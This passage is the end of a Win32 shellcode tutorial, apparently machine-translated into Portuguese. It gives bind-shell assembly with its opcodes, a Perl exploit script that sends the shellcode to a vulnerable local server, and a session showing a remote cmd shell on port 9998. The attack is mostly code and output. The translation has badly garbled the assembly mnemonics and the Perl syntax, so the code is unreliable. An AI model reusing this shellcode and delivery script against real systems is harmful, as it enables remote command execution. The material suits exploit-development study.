mov eax, dword ptr ss: [ebp‐194h]mov dword ptr ss: [ebp‐1B0h], eaxmov dword ptr ss: [ebp‐1ACh], eaxmov dword ptr ss: [ebp‐1A8h], eaxlea eax, dword ptr ss: [ebp‐1F8h]

ebp impulsodl XOR, dl

sub esp, 08h; deixar espaço na pilha

mov byte ptr [ebp‐08h], 63h; 'C'mov byte ptr [ebp‐07h], 6Dh; 'M'mov byte ptr [ebp‐06h], 64h; 'D'mov byte ptr [ebp‐05h], 2eh ; '.'mov byte ptr [ebp‐04h], 65h ; 'e'mov byte ptr [ebp‐03h], 78h; 'X'mov byte ptr [ebp‐02h], 65h ; 'e'mov byte ptr [ebp‐01h], dl; 0x00

lea EBX, [ebp‐08h]; Nós carregar o endereço do início do cmd.exe

empurrar eax; / PProcessInfo = NULLlea eax, dword ptr ss: [ebp‐1E8h]; |empurrar eax; | PStartupInfo = NULLxor mesmo, mesmoempurrar ecx; | CurrentDir = NULLempurrar ecx; | PEnvironment = NULLempurrar ecx; | CreationFlags = 0inc ecxempurrar ecx; | InheritHandles = TRUEdezembro ecxempurrar ecx; | PThreadSecurity = NULL

empurrar ecx; | PProcessSecurity = NULL

push ebx ; Guardamos la direccion de 'cmd.exe'empurrar ecx; | ModuleFileName = NULLmov eax, 7c80236bhchamar eax; \ CreateProcessA





xor mesmo, mesmodezembro ecxempurrar ecx; / Timeout = INFINITEempurrar ss PTR DWORD: [ebp‐1F8h]; | hObjectmov eax, 7c802530hchamar eax; \ WaitForSingleObjectempurrar ss PTR DWORD: [ebp‐1F8h]; / hObjectmov eax, 7c809b97hchamar eax; \ CloseHandleempurrar ss PTR DWORD: [ebp‐1F4h]; / hObjectmov eax, 7c809b97hchamar eax; \ CloseHandleimpulso dword ptr ss: [ebp‐194h]; / soquetemov eax, 71a39639hchamar eax; \ closesocketmov eax, 71a34428hchamar eax; [WSACleanup


Pegando os opcodes deste código, a exploração só funcionará no meumáquina, porque, como eu disse antes, os endereços das bibliotecas e funçõesEles correspondem ao meu computador (Windows XP SP2) e seria necessário calcularpara outras máquinas. Então, se você está indo para testar o código que você não deveesqueceralterar os endereços ou os sacos de Olly ou com o programaBuscaOffset.

Os opcodes restantes mim são:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

55 8B CE 66 81 CE F8 01 33 C9 B1 44 89 8D 18 FEFF FF 8D 85 18 FE FF FF 50 B9 F2 1E 80 7C FF D133 C9 66 B9 01 01 89 8D 44 FE FF FF 33 C9 66 898D 48 FE FF FF 80 C1 02 66 89 8D 5C FE FF FF 33C9 51 B9 C0 2B A3 71 FF D1 89 85 60 FE FF FF 33C9 66 B9 0E 27 51 B9 66 2B A3 71 FF D1 66 89 855E FE FF FF 8D 85 72 FE FF FF 50 33 C9 66 B9 0202 51 B9 4D 66 A3 71 FF D1 33 C9 51 51 51 B1 0651 33 C9 80 C1 01 51 80 C1 01 51 B9 69 87 A3 71FF D1 89 85 6C FE FF FF 33 C9 B1 10 51 8D 85 5CFE FF FF 50 FF B5 6C FE FF FF B9 01 3E A3 71 49FF D1 33 C9 B1 05 51 FF B5 6C FE FF FF B9 D3 88A3 71 FF D1 8B 9D 6C FE FF FF 33 C9 51 51 B5 FF6C FE FF FF B9 28 10 A4 71 FF D1 89 85 6C FE FFB9 FF 53 39 96 A3 71 FF D1 8B 85 6C FE FF FF 8985 50 FE FF FF 89 85 54 FE FF FF 89 85 58 FE FFFF 8D 85 08 FE FF FF 55 32 D2 83 CE 08 C6 45 F863 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC65 C6 45 FD 78 C6 45 FE 65 88 55 FF 8D 5D F8 508D 85 18 FE FF FF 50 33 C9 51 51 51 41 51 49 5151 53 51 B8 6B 23 80 7C FF D0 33 C9 49 51 FF B508 FE FF FF B8 30 25 80 7C FF D0 FF B5 08 FE FFFF B8 97 9B 80 7C FF D0 FF B5 0C FE FF FF B8 979B 80 7C FF D0 FF B5 6C FE FF FF B8 39 96 71 A3FF D0 B8 28 44 A3 71 FF D0

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐


Neste caso, a exploração varia um pouco como você deve enviar o shellcode assim





remoto. Uma solução poderia ser:

‐‐‐‐ Exploit.pl ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐#! / Usr / bin / perluse IO :: Socket;



$ Shellcode = "\ x55 \ x8B \ XEC \ x66 \ x81 \ XEC \ XF8 \ x01 \ x33 \ XC9 \ XB1 \ x44 \x89 \ x8D \ x18 \ xfe".

"\ XFF \ xFF \ x8D \ x85 \ x18 \ xfe \ xFF \ xFF \ x50 \ xB9 \ XF2 \ X1E \ x80\ x7C \ xFF \ xd1".

"\ X33 \ XC9 \ x66 \ xB9 \ x01 \ x01 \ x89 \ x8D \ x44 \ xfe \ xFF \ xFF \ x33\ XC9 \ x66 \ x89".

"\ X8D \ x48 \ xfe \ xFF \ xFF \ x80 \ XC1 \ x02 \ x66 \ x89 \ x8D \ x5C \ xfe\ xFF \ xFF \ x33".

"\ XC9 \ x51 \ xB9 \ xC0 \ X2B \ XA3 \ x71 \ xFF \ xd1 \ x89 \ x85 \ x60 \ xfe\ xFF \ xFF \ x33".

"\ XC9 \ x66 \ xB9 \ X0e \ x27 \ x51 \ xB9 \ x66 \ X2B \ XA3 \ x71 \ xFF \ xd1\ x66 \ x89 \ x85".

"\ X5E \ xfe \ xFF \ xFF \ x8D \ x85 \ x72 \ xfe \ xFF \ xFF \ x50 \ x33 \ XC9\ x66 \ xB9 \ x02".

"\ X02 \ x51 \ xB9 \ x4D \ x66 \ XA3 \ x71 \ xFF \ xd1 \ x33 \ XC9 \ x51 \ x51\ x51 \ XB1 \ x06".

"\ X51 \ x33 \ XC9 \ x80 \ XC1 \ x01 \ x51 \ x80 \ XC1 \ x01 \ x51 \ xB9 \ x69\ x87 \ XA3 \ x71".

"\ XFF \ xd1 \ x89 \ x85 \ x6C \ xfe \ xFF \ xFF \ x33 \ XC9 \ XB1 \ x10 \ x51\ x8D \ x85 \ x5C".

"\ Xfe \ xFF \ xFF \ x50 \ xFF \ XB5 \ x6C \ xfe \ xFF \ xFF \ xB9 \ x01 \ x3e\ XA3 \ x71 \ x49".

"\ XFF \ xd1 \ x33 \ XC9 \ XB1 \ x05 \ x51 \ xFF \ XB5 \ x6C \ xfe \ xFF \ xFF\ xB9 \ xd3 \ x88".

"\ XA3 \ x71 \ xFF \ xd1 \ x8B \ X9D \ x6C \ xfe \ xFF \ xFF \ x33 \ XC9 \ x51\ x51 \ xFF \ XB5"."\ X6C \ xfe \ xFF \ xFF \ xB9 \ x28 \ x10 \ xA4 \ x71 \ xFF \ xd1 \ x89 \ x85

\ x6C \ xfe \ xFF"."\ XFF \ x53 \ xB9 \ x39 \ x96 \ XA3 \ x71 \ xFF \ xd1 \ x8B \ x85 \ x6C \ xfe

\ xFF \ xFF \ x89"."\ X85 \ x50 \ xfe \ xFF \ xFF \ x89 \ x85 \ x54 \ xfe \ xFF \ xFF \ x89 \ x85

\ x58 \ xfe \ xFF"."\ XFF \ x8D \ x85 \ x08 \ xfe \ xFF \ xFF \ x55 \ x32 \ xd2 \ x83 \ XEC \ x08

\ XC6 \ x45 \ XF8"."\ X63 \ XC6 \ x45 \ xF9 \ X6D \ XC6 \ x45 \ xfa \ x64 \ XC6 \ x45 \ XFB \ x2E

\ XC6 \ x45 \ XFC"."\ X65 \ XC6 \ x45 \ xfd \ x78 \ XC6 \ x45 \ xfe \ x65 \ x88 \ x55 \ xFF \ x8D

\ X5D \ XF8 \ x50"."\ X8D \ x85 \ x18 \ xfe \ xFF \ xFF \ x50 \ x33 \ XC9 \ x51 \ x51 \ x51 \ x41

\ x51 \ x49 \ x51"."\ X51 \ x53 \ x51 \ XB8 \ x6B \ x23 \ x80 \ x7C \ xFF \ xD0 \ x33 \ XC9 \ x49

\ x51 \ xFF \ XB5"."\ X08 \ xfe \ xFF \ xFF \ XB8 \ x30 \ x25 \ x80 \ x7C \ xFF \ xD0 \ xFF \ XB5

\ x08 \ xfe \ xFF"."\ XFF \ XB8 \ x97 \ X9b \ x80 \ x7C \ xFF \ xD0 \ xFF \ XB5 \ x0C \ xfe \ xFF

\ xFF \ XB8 \ x97"."\ X9b \ x80 \ x7C \ xFF \ xD0 \ xFF \ XB5 \ x6C \ xfe \ xFF \ xFF \ XB8 \ x39

\ x96 \ XA3 \ x71"."\ XFF \ xD0 \ XB8 \ x28 \ x44 \ XA3 \ x71 \ xFF \ xD0 \ x33 \ XC9 \ x51 \ XB8

\ xC2 \ XCA \ x81"."\ X7B \ x41 \ XC1 \ XC1 \ x18 \ x03 \ XC1 \ xFF \ xD0";






$ Meias = IO :: Socket :: INET‐> new (PeerAddr => '127.0.0.1', PeerPort => '9999', Proto =>'tcp');print $ meias $ tampão;

close ($ meias);‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

O que torna essa exploração é conectar via telnet à porta 9999 de 127.0.0.1,onde o nosso servidor vulnerável, e injetar Bindshell nósabrir um cmd na porta 9998, que posteriormente terá acesso atravéstelnet:

‐‐‐ CLIENTE ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐C: \> perl exploit.pl

C:\> telnet localhost 9998Microsoft Windows XP [Versión 5.1.2600](C) Copyright 1985‐2001 Microsoft Corp.

C:\servidor\>‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Ele aparece no servidor:

‐‐‐SERVIDOR ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐Se ha conectado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA©iâ|Uïýfüý°?3+¦Dëì?¦ ìà?¦ P¦=?Ç| Ð3+f¦??ëìD¦ 3+fëìH¦ Ç‐?fëì\¦3 + Q| ++ UQ Ðëà`| 3 + f| 'Q|f + UQ Ðfëà ^ |? Ìàr| P3 + f| ?? Q|Mfúq D3 + QQQ| Q3 + C‐ QÇ‐Q|? UTIq Ðëàl| 3 + |? QIA \ | P Ál| |?> úqI D3 + |? Q Ál| |Ëêúq ÐïØl| 3 + QQ Ál| |? (NQ Ðëàl|

S|9ûúq Ðïàl| ëàP| ëàT| ëàX| ì| U2ÊâãE ° cãE¨mãE ∙ dãE¹.ãE³eãE²xãE|eêU i] ° Pia?| P3 + QQQAQIQQSQ © k # c | D3 + IQ | © 0% C | ð | © UOC | D em |? © UOC | ð ð 9ûúq Al | ©© (Dúq

ð3+Q©‐‐ü{A‐‐??‐ ð&ô|?

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

‐‐‐ [7 ‐ Referências

A verdade é que poderia preencher uma tirada com links tudo o que eu tenholer para entender as coisas, mas vou colocar as leituras mais interessantes,Para tudo o resto, o Google :‐P

> O texto do Rodojos, é claro :) aparecendo em vários sites, um paraexemplo é a seguinte:http://www.todopsp.com/foros/showthread.php?t=23953

> El texto de RaiSe, esta en:http://www.govannom.org/seguridad/buf_overf/shellcodes_win32_1.txt

> Todos os documentos na web de Ricardo Narvaja e contribuíramos CracksLatinos e você pode baixar:http://www.ricardonarvaja.info/WEB/OTROS/EXPLOIT/

> 'Compreender o Windows Shellcode' por skape, você pode baixar em:http://www.nologin.org/Downloads/Papers/win32‐shellcode.pdf

> 'Escrita pequeno Shellcode' por Dafydd Stuttard e você pode baixar em:

http://www.ngssoftware.com/research/papers/WritingSmallShellcode.pdf

> E, claro, o livro 'The shellcoders manual ", que explica como explorarem sistemas diferentes e, melhor de tudo é que este acualizado.

www.pepelux.org papers shellcodes en win32

Documents